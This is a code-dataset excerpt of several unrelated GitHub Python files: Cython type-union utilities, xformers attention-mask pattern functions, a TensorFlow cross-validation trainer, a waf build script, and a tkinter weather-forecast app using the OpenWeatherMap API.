else:\n# raise UnionFailure\n# try:\n# p_promoted = promote(p_s, p_t)\n# except UnionFailure:\n# warnings.warn('could not union types: {}, {}'.format(self, t))\n# return\n\ndef union_cython_types(a, b, numeric_promotion=True, numpy_promotion=False, strict=False):\n \"\"\"\n Union CythonType instances a and b, returning the unioned type.\n \"\"\"\n if a.is_object():\n return copy.deepcopy(a)\n if b.is_object():\n return copy.deepcopy(b)\n c = copy.deepcopy(a)\n c.known_value = None\n res = c.union_inplace(b, warn=False, numeric_promotion=numeric_promotion, numpy_promotion=numpy_promotion)\n if res:\n return c\n return CythonType.from_value(object(), a.program_info)\n\ndef union_cython_types_list(L, *args, **kw):\n \"\"\"\n Union at least one CythonType instances in list L, returning the unioned type.\n \"\"\"\n if len(L) == 1:\n return copy.deepcopy(L[0])\n return functools.reduce(lambda a, b: union_cython_types(a, b, *args, **kw), L)\n\nclass TypeSignature(dict):\n pass\n #def __hash__(self):\n # return hash(frozenset(self.items()))\n #\n #def __lt__(self, other):\n # return sorted(self.items()) < sorted(other.items())\n\nclass TypeSignatureSet:\n \"\"\"\n A sorted set of type signatures for a given function.\n \n A function's type signature is a dict mapping variable name keys to CythonType instances.\n \n When constructed, the TypeSignatureSet needs a list of variable names that are arguments for the function. If a given\n type signature is missing a function variable name then it will not be added.\n \"\"\"\n def __init__(self, arg_names, L=[]):\n self.arg_names = arg_names\n assert isinstance(self.arg_names, (list, tuple))\n for x in self.arg_names:\n assert isinstance(x, str), 'expected {} to be string'.format(x)\n \n self.s = {} # Mapping from argument types to type signatures\n \n for x in L:\n self.add(x)\n\n def add(self, type_sig, verbose=util_verbose):\n# def add(self, type_sig, verbose=True):\n \"\"\"\n Add type signature to set. If it already exists then update shape of given type signature.\n \"\"\"\n type_sig = TypeSignature(type_sig)\n #type_sig_key = tuple(sorted([(key, value.cython_type) for (key, value) in type_sig.items()]))\n type_sig_key = []\n for key in self.arg_names:\n if key in type_sig:\n type_sig_key.append(type_sig[key].to_immutable())\n else:\n warnings.warn('type signature is missing function argument {}, so not adding'.format(key))\n return\n type_sig_key = tuple(type_sig_key)\n if verbose or 1:\n print_log('TypeSignatureSet.add')\n print_log(' add: %s' % type_sig)\n print_log(' current: %s' % self.s)\n print_log(' type_sig_key: {}'.format(type_sig_key))\n typeL = list(type_sig.items())\n for j in range(len(typeL)):\n if cython_type_check:\n typeL[j][1].check()\n print_log(' type_sig[{}].cython_type: {}'.format(j, typeL[j][1].cython_type))\n \n if type_sig_key not in self.s:\n if verbose:\n print_log(' not in self.s, adding new type signature')\n self.s[type_sig_key] = type_sig\n else:\n if verbose:\n print_log(' in self.s, updating shape')\n d = self.s[type_sig_key]\n for key in set(d.keys()) & set(type_sig.keys()):\n d[key].union_inplace(type_sig[key])\n\n if verbose:\n print_log(' after add: %s' % self.s)\n print_log('')\n \n def __len__(self):\n if util_verbose:\n print_log('TypeSignatureSet.__len__, len={}'.format(len(self.s)))\n return len(self.s)\n \n def __iter__(self):\n if util_verbose:\n print_log('TypeSignatureSet.__iter__, len={}'.format(len(self.s)))\n return iter([value for (key, value) in sorted(self.s.items(), key=lambda item: item[0])])\n# return iter(sorted(self.s.values()))\n\n def __repr__(self):\n if util_verbose:\n print_log('TypeSignatureSet.__repr__, len={}'.format(len(self.s)))\n return 'TypeSignatureSet({}, [{}])'.format(self.arg_names, ','.join(repr(typesig) for typesig in self.s.values()))\n\ndef union_shapes(s1, s2, numpy_promotion=False):\n if len(s1) != len(s2):\n #warnings.warn('shapes of two different lengths unioned: {} and {}'.format(len(s1), len(s2)))\n #return ()\n if numpy_promotion:\n return s2 if len(s1) == 0 else s1\n raise UnionFailure\n ans = tuple([None if s1[i] != s2[i] else s1[i] for i in range(len(s1))])\n if util_verbose:\n print_log('union_shapes({}, {}) => {}'.format(s1, s2, ans))\n return ans\n\ndef image_filename(filename, check_exists=True):\n \"\"\"\n Get full path to image with given filename.\n \"\"\"\n ans = os.path.abspath(os.path.join(util_dir, '../apps/images/', filename))\n if check_exists and not os.path.exists(ans):\n ans = os.path.abspath(os.path.join(util_dir, '../images/', filename))\n if check_exists and not os.path.exists(ans):\n raise ValueError('file {} not found (util_dir={})'.format(ans, util_dir))\n return ans\n\ndef print_twocol(a, b, n=35):\n \"\"\"\n Print strings in two columns with n width of left column.\n \"\"\"\n print(a.ljust(n) + b)\n\nutil_dir = os.path.abspath(os.path.split(__file__)[0])\n\ndef is_type_variable(name):\n return not name.startswith(types_non_variable_prefix)\n\ndef randrange(seed, start, stop):\n \"\"\"\n A substitute for random.randrange(start, stop) which does not have side-effects\n \"\"\"\n rand2_u = (seed & (2 ** 32 - 1)) ^ ((seed & 65535) << 16)\n rand2_v = (~seed) & (2 ** 32 - 1)\n rand2_v = 36969 * (rand2_v & 65535) + (rand2_v >> 16)\n rand2_u = 18000 * (rand2_u & 65535) + (rand2_u >> 16)\n rand_result = ((rand2_v << 16) + (rand2_u & 65535)) & (2 ** 32 - 1)\n return start + rand_result % (stop - start)\n \n","repo_name":"uva-graphics/vizgen","sub_path":"proj/compiler/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":65190,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"72253858011","text":"import math\nfrom typing import List\n\nimport numpy as np\nimport torch\n\nfrom xformers.components.attention.sparsity_config import (\n BigBirdSparsityConfig,\n BSLongformerSparsityConfig,\n FixedSparsityConfig,\n VariableSparsityConfig,\n)\n\n\n# generic nd cases\ndef _generate_nd_grid(*sizes):\n coords = [torch.arange(s) for s in sizes]\n return torch.meshgrid(*coords)\n\n\ndef local_nd_distance(*sizes, p=2.0, weights=None):\n if weights is None:\n weights = (1,) * len(sizes)\n assert len(sizes) == len(weights)\n grid = _generate_nd_grid(*sizes)\n grid = [i.flatten() * w for i, w in zip(grid, weights)]\n grid = torch.stack(grid, dim=1).float()\n d = torch.cdist(grid, grid, p=p)\n return d\n\n\ndef local_nd_gaussian_distribution(*sizes, sigma=1):\n d = local_nd_distance(*sizes, p=2.0) ** 2\n d = torch.exp(-0.5 * sigma ** (-2.0) * d)\n return d\n\n\ndef local_nd_pattern(*sizes, distance, p=2.0):\n d = local_nd_distance(*sizes, p=p)\n return d < distance\n\n\ndef axial_nd_pattern(*sizes):\n # axial is a special case with p=0 and distance=2\n d = local_nd_distance(*sizes, p=0)\n return d < 2\n\n\ndef random_pattern_from_probability_matrix(dist_matrix, nnz):\n att = torch.zeros_like(dist_matrix, dtype=torch.bool)\n # PyTorch multinomial wrongly doesn't support sampling when number of categories\n # is > 2^24, arguing that it's because it's the max representable consecutive element\n # in fp32 and that the kernels use float32. This is actually not true, and the kernels\n # should work fine if double tensor is passed on CPU. This is a bug that was introduced\n # in https://github.com/pytorch/pytorch/commit/bf04c2ca2f591d98ce57816f0ef0cd20a21bbf66\n # when unifying the checks between CPU and CUDA. For now, just fall-back to numpy\n if dist_matrix.numel() > 2**24:\n dist_matrix = dist_matrix.double()\n dist_matrix /= dist_matrix.sum()\n idxs = np.random.choice(\n dist_matrix.numel(), nnz, p=dist_matrix.flatten(), replace=False\n )\n idxs = torch.as_tensor(idxs)\n else:\n idxs = torch.multinomial(dist_matrix.flatten(), nnz, replacement=False)\n att.view(-1)[idxs] = True\n return att\n\n\ndef global_token_pattern(attention_query_mask: torch.Tensor) -> torch.Tensor:\n assert attention_query_mask.ndim == 1\n assert attention_query_mask.dtype == torch.bool\n attention_query_mask = attention_query_mask[None, :]\n mask = attention_query_mask | attention_query_mask.transpose(1, 0)\n return mask\n\n\ndef random_pattern(attn_size: int, sparsity: float) -> torch.Tensor:\n assert 0 < sparsity < 1\n mask = torch.rand(attn_size, attn_size) > sparsity\n return mask\n\n\n# 1d-specific cases\ndef local_1d_pattern(attn_size: int, window_size: int) -> torch.Tensor:\n assert (\n window_size % 2 == 1\n ), \"The window size is assumed to be odd (counts self-attention + 2 wings)\"\n h_win_size = window_size // 2 + 1\n return local_nd_pattern(attn_size, distance=h_win_size, p=1.0)\n\n\ndef causal_1d_pattern(attn_size: int) -> torch.Tensor:\n mask = torch.tril(torch.ones(attn_size, attn_size, dtype=torch.bool))\n return mask\n\n\n# 2d-specific cases\ndef horizontal_axial_2d_distance(H, W, p=2.0):\n d = local_nd_distance(H, W, p=p, weights=(1, 0))\n return d\n\n\ndef vertical_axial_2d_distance(H, W, p=2.0):\n d = local_nd_distance(H, W, p=p, weights=(0, 1))\n return d\n\n\ndef local_2d_distance(H, W, p=2.0):\n return local_nd_distance(H, W, p=p)\n\n\ndef local_2d_gausian_distribution(H, W, sigma=1):\n return local_nd_gaussian_distribution(H, W, sigma=sigma)\n\n\ndef local_2d_pattern(H, W, distance, p=2.0):\n return local_nd_pattern(H, W, distance=distance, p=p)\n\n\ndef axial_2d_pattern(H, W):\n return axial_nd_pattern(H, W)\n\n\ndef swin_attention_pattern(H, W, window_size, shift_size=0):\n assert H % window_size == 0\n assert W % window_size == 0\n assert 0 <= shift_size < window_size, \"shift_size must in 0-window_size\"\n\n # input grid\n i, j = _generate_nd_grid(H, W)\n i, j = i + 0.5, j + 0.5\n\n # anchors grid\n # if shift is present, add extra element to the grid\n # to account for the uneven partitioning\n extra = int(shift_size % window_size != 0)\n grid_h = H // window_size + extra\n grid_w = W // window_size + extra\n\n ii, jj = _generate_nd_grid(grid_h, grid_w)\n # convert shift to be compatible with the paper representation\n s = (-shift_size) % window_size\n offset = window_size / 2 - s\n ii = ii * window_size + offset\n jj = jj * window_size + offset\n\n input_coords = torch.stack([i.flatten(), j.flatten()], 1).float()\n anchors_coords = torch.stack([ii.flatten(), jj.flatten()], 1).float()\n\n anchor_id = torch.cdist(input_coords, anchors_coords, p=2).argmin(1)\n mask = anchor_id[:, None] == anchor_id[None, :]\n return mask\n\n\ndef dilated_2d_pattern(H, W, k=2):\n \"\"\"\n Returns a 2d pattern that samples 1 every k elements in the attention mask.\n Can be seen as a form of downsampling, where every pixel attends to a downsampled\n version of the input.\n \"\"\"\n d_h = local_nd_distance(H, W, p=1, weights=(1, 0))\n d_w = local_nd_distance(H, W, p=1, weights=(0, 1))\n d = (d_h.floor() % k == 0) & (d_w.floor() % k == 0)\n return d\n\n\n# Block sparse utils\ndef block_sparsify_tensor(x, mask, block_size):\n \"\"\"\n Block sparsify a tensor, given a mask and block size\n \"\"\"\n ret = torch.empty(\n (x.size(0), mask.sum(), block_size, block_size), dtype=x.dtype, device=x.device\n )\n\n for idx, (h, i, j) in enumerate(zip(*mask.nonzero(as_tuple=True))):\n ret[:, idx, :, :] = x[\n :,\n h,\n i * block_size : (i + 1) * block_size,\n j * block_size : (j + 1) * block_size,\n ]\n return ret\n\n\ndef pattern_to_layout(mask: torch.Tensor, block_size: int) -> torch.Tensor:\n r\"\"\"\n Given a mask pattern and blocksize, return the corresponding layout\n which makes sure that all the positives in the mask are covered\n \"\"\"\n assert mask.ndim >= 2, \"We're expecting [Heads, Seq, Seq] or [Seq, Seq]\"\n _should_squeeze = False\n\n if mask.ndim == 2:\n mask = mask.unsqueeze(0)\n _should_squeeze = True\n\n assert (\n mask.shape[1] % block_size == 0 and mask.shape[2] % block_size == 0\n ), \"We're only handling masks divisible by block_size\"\n\n # Now mark the mask\n layout = torch.nn.functional.max_pool2d(\n mask.to(torch.float), kernel_size=block_size, stride=block_size\n )\n layout = layout.to(torch.long)\n\n if _should_squeeze:\n layout.squeeze_(0)\n\n return layout\n\n\ndef alibi_pattern(threshold: float, mask_shape: torch.Size) -> torch.Tensor:\n r\"\"\"\n Use the additive bias computation from ALiBi_ to generate a mask.\n Note that this mask can in turn be used to generate a blocksparse attention computation layout\n\n .. note: mask_shape is expected to hold the [heads, seq, seq] dimensions\n\n .. _ALiBi: https://arxiv.org/pdf/2108.12409.pdf\n \"\"\"\n\n # CREDITS: code snippet from Ofir Press, one of the authors\n\n def get_slopes(n: int):\n def get_slopes_power_of_2(n: int) -> List[float]:\n start = 2 ** (-(2 ** -(math.log2(n) - 3)))\n ratio = start\n return [start * ratio**i for i in range(n)]\n\n # In the paper, we only train models that have 2^a heads for some a. This function has\n # some good properties that only occur when the input is a power of 2. To maintain that even\n # when the number of heads is not a power of 2, we use this workaround.\n if math.log2(n).is_integer():\n return get_slopes_power_of_2(n)\n else:\n closest_power_of_2 = 2 ** math.floor(math.log2(n))\n return (\n get_slopes_power_of_2(closest_power_of_2)\n + get_slopes(2 * closest_power_of_2)[0::2][: n - closest_power_of_2]\n )\n\n maxpos = mask_shape[1]\n attn_heads = mask_shape[0]\n slopes = torch.Tensor(get_slopes(attn_heads))\n\n # In the next line, the part after the * is what constructs the diagonal matrix\n # (right matrix in Figure 3 in the paper).\n # If you run it you'll see that it doesn't exactly print out the same matrix as we have in Figure 3,\n # but one where all rows are identical.\n # This works because the softmax operation is invariant to translation,\n # and our bias functions are always linear.\n alibi = slopes.unsqueeze(1).unsqueeze(1) * torch.arange(maxpos).unsqueeze(\n 0\n ).unsqueeze(0).expand(attn_heads, -1, -1)\n alibi = alibi.view(attn_heads, 1, maxpos)\n\n # Now threshold arbitrarily, report the mask\n return alibi < threshold\n\n\ndef quick_fixed_layout(num_heads: int, block_size: int, seq_len: int):\n config = FixedSparsityConfig(num_heads=num_heads, block_size=block_size)\n return config.make_layout(seq_len)\n\n\ndef quick_variable_layout(num_heads: int, block_size: int, seq_len: int):\n config = VariableSparsityConfig(num_heads=num_heads, block_size=block_size)\n return config.make_layout(seq_len)\n\n\ndef quick_bigbird_layout(num_heads: int, block_size: int, seq_len: int):\n config = BigBirdSparsityConfig(num_heads=num_heads, block_size=block_size)\n return config.make_layout(seq_len)\n\n\ndef quick_bslongformer_layout(num_heads: int, block_size: int, seq_len: int):\n config = BSLongformerSparsityConfig(num_heads=num_heads, block_size=block_size)\n return config.make_layout(seq_len)\n\n\ndef layout_to_pattern(layout: torch.Tensor, block_size: int):\n r\"\"\"\n create a pattern of shape [heads, seq, seq] out of a blocksparse\n layout of shape [heads, seq/block_size, seq/block_size]\n \"\"\"\n return torch.kron(layout, torch.ones(block_size, block_size))\n","repo_name":"facebookresearch/xformers","sub_path":"xformers/components/attention/attention_patterns.py","file_name":"attention_patterns.py","file_ext":"py","file_size_in_byte":9745,"program_lang":"python","lang":"en","doc_type":"code","stars":6313,"dataset":"github-code","pt":"32"} +{"seq_id":"43105370385","text":"import tensorflow as tf\r\nimport os\r\nimport time\r\nimport datetime\r\n\r\n#todo test batches\r\n\r\n\"\"\"\r\ngtrain implements general purpouse training algorithm\r\ninputs:\r\n model - object defining model that should be trained\r\n data - object defining data and their batches used in training algorithm\r\n lr, mu - parameters of momentum optimamizer\r\n lr_dec, lr_inc - multiplication constants that defines drop and increase of learning rate if loss increases and drops respectively\r\n lr_max - value of learning rate do not exceed lr_max value\r\n num_epochs - number of training epochs, if data accumulating gradients in k steps it is recomended to keep this number divisible by k\r\n evalueate every - if the index of the training step is divisible by evaluate_every then in this point the network is evaluated on dev data\r\n checkpoint_every - if the index of the training step is divisible by checkpoint_every then the models with parameters is saved\r\n num_checkpoints - how deep history of checkpoints is avaliable at the end of training\r\n out_dir - output directory where checkpoints and summaries are stored\r\n\r\n\r\n\r\nPrototypes of model and data classes:\r\n\r\nclass Model:\r\n def __init__(self,args):\r\n # stores settings of the model\r\n\r\n def build(self):\r\n # builds whole model in tensorflow\r\n # stores placeholders, loss and accuracy\r\n\r\n \r\n def get_loss(self):\r\n return self.loss\r\n \r\n def get_accuracy(self):\r\n return self.accuracy\r\n\r\n def get_train_summaries(self):\r\n return []\r\n # training sumaries of the model should be added here\r\n\r\n def get_dev_summaries(self):\r\n return []\r\n # dev sumaries of the model should be added here\r\n\r\n def get_placeholders(self):\r\n # returns list of placeholders\r\n\r\n def name(self):\r\n # returns specific name of the model for the initial parameters\r\n\r\nclass Data:\r\n def __init__(self, args, kval=10):\r\n # stores sources or raw data\r\n # both, training and validation data have to avaliable\r\n \r\n def set_placeholders(self,pl_list):\r\n # pl_list is a list of placeholders getted from procedure get_placeholders of Model class\r\n # stores placehoders that are used in feed dictionary for the model\r\n\r\n def init_val(k):\r\n # initialize k-th validation\r\n \r\n def end_val(k):\r\n # final operations of k-th validation\r\n\r\n def get_next_batch(self):\r\n # returns feed dictionary of one batch of training data\r\n \r\n def accumulate_grad(self):\r\n # returns True if the previous gen_next_batch data should be used just for accumulation gradients\r\n # returns False if the model shoudl be learned with previously accumulated gradients \r\n\r\n def get_next_dev_batch(self):\r\n # returns feed dictionary of one batch of dev data\r\n\"\"\"\r\ndef gtrain_crossval(\r\n model,\r\n data,\r\n lr=0.01,\r\n num_epochs=100,\r\n evaluate_every=10,\r\n checkpoint_every=10,\r\n num_checkpoints=5,\r\n out_dir=[]):\r\n\r\n lr_start = lr\r\n\r\n if not out_dir :\r\n # Output directory for models and summaries\r\n timestamp = str(int(time.time()))\r\n out_dir = os.path.abspath(os.path.join(os.path.curdir, \"runs\", timestamp))\r\n print(\"Writing to {}\\n\".format(out_dir))\r\n\r\n with tf.Graph().as_default():\r\n sess = tf.Session()\r\n with sess.as_default():\r\n\r\n with tf.name_scope(\"Model\"):\r\n model.build()\r\n data.set_placeholders(model.get_placeholders())\r\n\r\n # Define Training procedure\r\n global_step = tf.Variable(0, name=\"global_step\", trainable=False)\r\n optimizer = tf.train.AdagradOptimizer(lr)\r\n\r\n # Accumulative\r\n with tf.name_scope(\"Accumulate\"):\r\n tvs = tf.trainable_variables()\r\n accum_vars = [tf.Variable(tf.zeros_like(tv.initialized_value()), trainable=False) for tv in tvs] \r\n accum_loss = tf.Variable(0.0)\r\n accum_accuracy = tf.Variable(0.0) \r\n zero_ops = [tv.assign(tf.zeros_like(tv)) for tv in accum_vars] + [accum_loss.assign(0.0),accum_accuracy.assign(0.0)]\r\n zero_dev_ops = [accum_loss.assign(0.0),accum_accuracy.assign(0.0)]\r\n gvs = optimizer.compute_gradients(model.get_loss(), tvs)\r\n accum_ops = [accum_vars[i].assign_add(gv[0]) for i, gv in enumerate(gvs)] + [\r\n accum_loss.assign_add(model.get_loss()),\r\n accum_accuracy.assign_add(model.get_accuracy())]\r\n accum_dev_ops = [accum_loss.assign_add(model.get_loss()), accum_accuracy.assign_add(model.get_accuracy())]\r\n train_op = optimizer.apply_gradients([(accum_vars[i], gv[1]) for i, gv in enumerate(gvs)],global_step=global_step)\r\n\r\n with tf.name_scope(\"Summaries\"):\r\n # Keep track of gradient values and sparsity\r\n grad_summaries = list()\r\n for g, v in gvs:\r\n if g is not None:\r\n grad_hist_summary = tf.summary.histogram(\"{}/grad/hist\".format(v.name), g)\r\n #sparsity_summary = tf.summary.scalar(\"{}/grad/sparsity\".format(v.name), tf.nn.zero_fraction(g))\r\n grad_summaries.append(grad_hist_summary)\r\n #grad_summaries.append(sparsity_summary)\r\n grad_summaries_merged = tf.summary.merge(grad_summaries)\r\n\r\n # Keep track of trainable variable values\r\n value_summaries = list()\r\n for v in tf.trainable_variables():\r\n value_summary = tf.summary.histogram(\"{}/value/hist\".format(v.name), v)\r\n # value_sparse_summary = tf.summary.scalar(\"{}/grad/sparsity\".format(v.name), tf.nn.zero_fraction(v))\r\n value_summaries.append(value_summary)\r\n # value_summaries.append(value_sparse_summary)\r\n value_summaries_merged = tf.summary.merge(value_summaries)\r\n\r\n # Summaries for loss and accuracy\r\n loss_summary = tf.summary.scalar(\"loss\", accum_loss)\r\n acc_summary = tf.summary.scalar(\"accuracy\", accum_accuracy)\r\n\r\n # Train Summaries\r\n train_summary_op = tf.summary.merge([\r\n loss_summary, \r\n acc_summary, \r\n lr_summary, \r\n grad_summaries_merged, \r\n value_summaries_merged,\r\n model.get_train_summaries()])\r\n\r\n\r\n # Dev summaries\r\n dev_summary_op = tf.summary.merge([\r\n loss_summary, \r\n acc_summary,\r\n model.get_dev_summaries()])\r\n\r\n def train_step():\r\n # acumulate gradients and\r\n while True : \r\n feed_dict = data.get_next_batch()\r\n sess.run(accum_ops,feed_dict)\r\n if not data.accumulate_grad():\r\n break\r\n\r\n _, step,summaries, loss, accuracy = sess.run(\r\n [train_op, global_step, train_summary_op, accum_loss, accum_accuracy],\r\n feed_dict)\r\n sess.run(zero_ops)\r\n time_str = datetime.datetime.now().isoformat()\r\n print(\"{}: step {}, loss {:g}, acc {:g}, lr {}\".format(time_str, step, loss, accuracy,lr))\r\n train_summary_writer.add_summary(summaries, step)\r\n\r\n def dev_step():\r\n while True:\r\n feed_dict = data.get_next_dev_batch()\r\n sess.run(accum_dev_ops,feed_dict)\r\n if not data.accumulate_dev():\r\n break\r\n # Evaluates model on a dev set\r\n step, summaries, loss, accuracy = sess.run(\r\n [global_step, dev_summary_op, accum_loss, accum_accuracy],feed_dict)\r\n sess.run(zero_dev_ops)\r\n time_str = datetime.datetime.now().isoformat()\r\n print(\"{}: step {}, loss {:g}, acc {:g}\".format(time_str, step, loss, accuracy))\r\n dev_summary_writer.add_summary(summaries, step)\r\n\r\n\r\n root = out_dir\r\n for v in range(data.get_num_val()):\r\n data.init_val(v)\r\n out_dir = os.path.join(root,str(v))\r\n train_summary_dir = os.path.join(out_dir, \"summaries\",model.name(), \"train\")\r\n train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph)\r\n dev_summary_dir = os.path.join(out_dir, \"summaries\", model.name(), \"dev\")\r\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\r\n sess.run(zero_ops)\r\n\r\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, \"checkpoints\"))\r\n checkpoint_prefix = os.path.join(checkpoint_dir, model.name())\r\n if not os.path.exists(checkpoint_dir):\r\n os.makedirs(checkpoint_dir)\r\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=num_checkpoints)\r\n\r\n # Initialize all variables\r\n sess.run(tf.global_variables_initializer())\r\n prev_loss = 1e10\r\n # Training loop¨\r\n current_step = tf.train.global_step(sess, global_step)\r\n for i in range(num_epochs):\r\n train_step()\r\n if i % evaluate_every == 0:\r\n print(\"\\nEvaluation:\")\r\n dev_step()\r\n if i % checkpoint_every == 0:\r\n path = saver.save(sess, checkpoint_prefix, global_step=i)\r\n print(\"Saved model checkpoint to {}\\n\".format(path))\r\n data.end_val(v) \r\n model.end_val(v)\r\n","repo_name":"shrutikar/TensorFlowClassification","sub_path":"gtrain_crossval.py","file_name":"gtrain_crossval.py","file_ext":"py","file_size_in_byte":9949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12861487870","text":"# Build script for Gillespie Solver (draft)\n# vim: syntax=python \ntop = '.'\nout = 'build_with_waf'\nAPPNAME = 'gillespie_solver'\nVERSION = '0.1.0'\n\n# Header files which this module requires.\nheader_list = ['vector', 'map', 'numeric']\n\ndef options(opt):\n\topt.add_option('--unit_test', action='store_true', default=False, help='unit test')\n\topt.add_option('--enable_debug', action='store_true', default=False, help='debug')\n\topt.load('compiler_cxx')\n\ndef configure(conf):\n\tconf.load('compiler_cxx')\n\n\tconf.check_cfg(package='gsl', uselib_store='gsl', atleat_version='1.13', args='--cflags --libs')\n\tconf.check_cfg(package='pficommon', uselib_store='pficommon', atleat_version='1.0.0', args='--cflags --libs')\n\n\t# Checking the existence of header files.\n\tfor header in header_list:\n\t\tconf.check(header_name = header, features = 'c cprogram')\n\n\t# Save option flags.\n\tconf.env.unit_test = conf.options.unit_test\n\tconf.env.enable_debug = conf.options.enable_debug\n\n\tconf.env.append_unique(\n\t\t'CXXFLAGS', \n\t\t['-Wall', '-g']\n\t\t)\n\t\n\ndef build(bld):\n\t# always build libgillespie.so or .dylib(mac)\n\tbld.shlib(\n\t\tsource = ['./GillespieSolver.cpp', './GillespieWorld.cpp', './serialize.cpp'],\n\t\tincludes = ['.'],\n\t\tuselib = ['gsl', 'pficommon'],\n\t\ttarget = 'gillespie'\n\t)\n\t\n\t# make executable for testing.\n\tif bld.env.unit_test == True:\n\t\tbld.program(\n\t\t\tsource='./test.cpp', \n\t\t\tincludes = ['.'],\n\t\t\ttarget = 'gillespie_unit',\n\t\t\tdefines = ['UNITTEST'],\n\t\t\tuse = 'gillespie',\n\t\t)\n\n","repo_name":"ecell/ecell4-gillespie","sub_path":"wscript","file_name":"wscript","file_ext":"","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36712566551","text":"from datetime import datetime\nfrom tkinter import *\nfrom timezonefinder import *\nfrom PIL import Image, ImageTk\nfrom urllib.request import urlopen\nimport tkinter as tk\nimport pytz\nimport requests\n\n\ndef get_image(url_id):\n url = f'https://openweathermap.org/img/wn/{url_id}@2x.png'\n url = urlopen(url)\n data = url.read()\n url.close()\n return data\n\n\ndef forecast_window(condition, temperature, humidity, feels_like, pressure,\n weather_desc, wind_speed, current_time, icon):\n global condition_icon_img\n condition_stats.configure(text=f'{condition} | Feels like {int(feels_like)}°C')\n temp_stats.configure(text=f'{int(temperature)}°C')\n humidity_stats.configure(text=humidity)\n pressure_stats.configure(text=pressure)\n description_stats.configure(text=weather_desc)\n wind_stats.configure(text=wind_speed)\n clock.configure(text=current_time)\n place_name.configure(text='Current Time')\n condition_icon_img = ImageTk.PhotoImage(data=icon)\n condition_icon.configure(image=condition_icon_img)\n not_found.configure(text='')\n\n\ndef get_city_coords(name):\n response = requests.get(f'http://api.openweathermap.org/geo/1.0/direct?q='\n f'{name},{COUNTRY_CODE}&limit={5}&appid={API_KEY}')\n if response.status_code == 200:\n data = response.json()\n try:\n main_info = data[0]\n lat = main_info['lat']\n lon = main_info['lon']\n return [lat, lon]\n except IndexError:\n not_found.configure(text='City not found.')\n return None, None\n\n\ndef get_weather(city_name):\n lat, lon = get_city_coords(city_name)\n if lat is None:\n return\n params = {'lat': lat, 'lon': lon, 'units': 'metric', 'appid': API_KEY}\n response = requests.get(BASE_URL, params=params)\n\n if response.status_code == 200:\n obj = TimezoneFinder()\n result = obj.timezone_at(lng=lon, lat=lat)\n home = pytz.timezone(result)\n local_time = datetime.now(home)\n current_time = local_time.strftime(\"%I:%M %p\")\n data = response.json()\n main_info = data['main']\n temperature = main_info['temp']\n humidity = main_info['humidity']\n feels_like = main_info['feels_like']\n pressure = main_info['pressure']\n weather_desc = data['weather'][0]['description']\n condition = data['weather'][0]['main']\n wind_speed = data['wind']['speed']\n icon = data['weather'][0]['icon']\n icon = get_image(icon)\n forecast_window(condition, temperature, humidity, feels_like,\n pressure, weather_desc, wind_speed, current_time, icon)\n\n\ndef get_input_data():\n city_name = textfield.get()\n get_weather(city_name)\n\n\nAPI_KEY = '...'\nBASE_URL = 'https://api.openweathermap.org/data/2.5/weather'\nCOUNTRY_CODE = 'ISO3166'\n\nroot = tk.Tk()\nroot.title(\"Daily Forecast\")\nroot.geometry(\"900x500+300+200\")\nroot.resizable(False, False)\nroot.configure(bg='white')\n\nsearch_image = PhotoImage(file='search_bar.png')\nmy_image = Label(image=search_image, bg='white')\nmy_image.place(x=20, y=20)\n\ntextfield = Entry(root, justify='center', width=17, font=('poppins', 25, 'bold'), bg='#404040', border=0, fg='white')\ntextfield.place(x=50, y=40)\ntextfield.focus()\n\nsearch_icon = PhotoImage(file='search_icon.png')\nmy_image_icon = Button(image=search_icon, borderwidth=0, cursor='hand2', bg='#404040', command=get_input_data)\nmy_image_icon.place(x=400, y=34)\n\nlogo_image = PhotoImage(file='main.png')\nlogo = Label(image=logo_image, bg='white')\nlogo.place(x=150, y=100)\n\nbox_image = PhotoImage(file='info_box.png')\nbox = Label(image=box_image, bg='white')\nbox.pack(padx=5, pady=5, side=BOTTOM)\n\nlabel1 = Label(root, text='WIND', font=('Helvetica', 15, 'bold'), fg='white', bg='#1ab5ef')\nlabel1.place(x=120, y=400)\n\nlabel2 = Label(root, text='HUMIDITY', font=('Helvetica', 15, 'bold'), fg='white', bg='#1ab5ef')\nlabel2.place(x=250, y=400)\n\nlabel3 = Label(root, text='DESCRIPTION', font=('Helvetica', 15, 'bold'), fg='white', bg='#1ab5ef')\nlabel3.place(x=430, y=400)\n\nlabel4 = Label(root, text='PRESSURE', font=('Helvetica', 15, 'bold'), fg='white', bg='#1ab5ef')\nlabel4.place(x=650, y=400)\n\nnot_found = Label(font=('arial', 30, 'bold'), fg='#ee666d', bg='white')\nnot_found.place(x=500, y=35)\n\nplace_name = Label(root, font=('arial', 15, 'bold'), bg='white')\nplace_name.place(x=30, y=100)\nclock = Label(root, font=('Helvetica', 20), bg='white')\nclock.place(x=30, y=130)\n\ntemp_stats = Label(font=('arial', 60, 'bold'), fg='#ee666d', bg='white')\ntemp_stats.place(x=400, y=150)\ncondition_icon = Label(image='', bg='white')\ncondition_icon.place(x=600, y=170)\ncondition_stats = Label(font=('arial', 15, 'bold'), bg='white')\ncondition_stats.place(x=400, y=240)\n\nwind_stats = Label(text='...', font=('arial', 20, 'bold'), bg='#1ab5ef')\nwind_stats.place(x=120, y=430)\nhumidity_stats = Label(text='...', font=('arial', 20, 'bold'), bg='#1ab5ef')\nhumidity_stats.place(x=285, y=430)\ndescription_stats = Label(text='...', font=('arial', 20, 'bold'), bg='#1ab5ef')\ndescription_stats.place(x=443, y=430)\npressure_stats = Label(text='...', font=('arial', 20, 'bold'), bg='#1ab5ef')\npressure_stats.place(x=670, y=430)\n\nroot.mainloop()\n","repo_name":"TjDimitrov/Weather-App","sub_path":"daily-forecast-app.py","file_name":"daily-forecast-app.py","file_ext":"py","file_size_in_byte":5249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37741523831","text":"'''Write a function named printTable() that takes\n\na list of lists of strings and displays it in\n\na well-organized table with each column\n\nleft-justified. Assume that all the inner\n\nlists will contain the same number of strings.'''\n\n \n\ntableData = 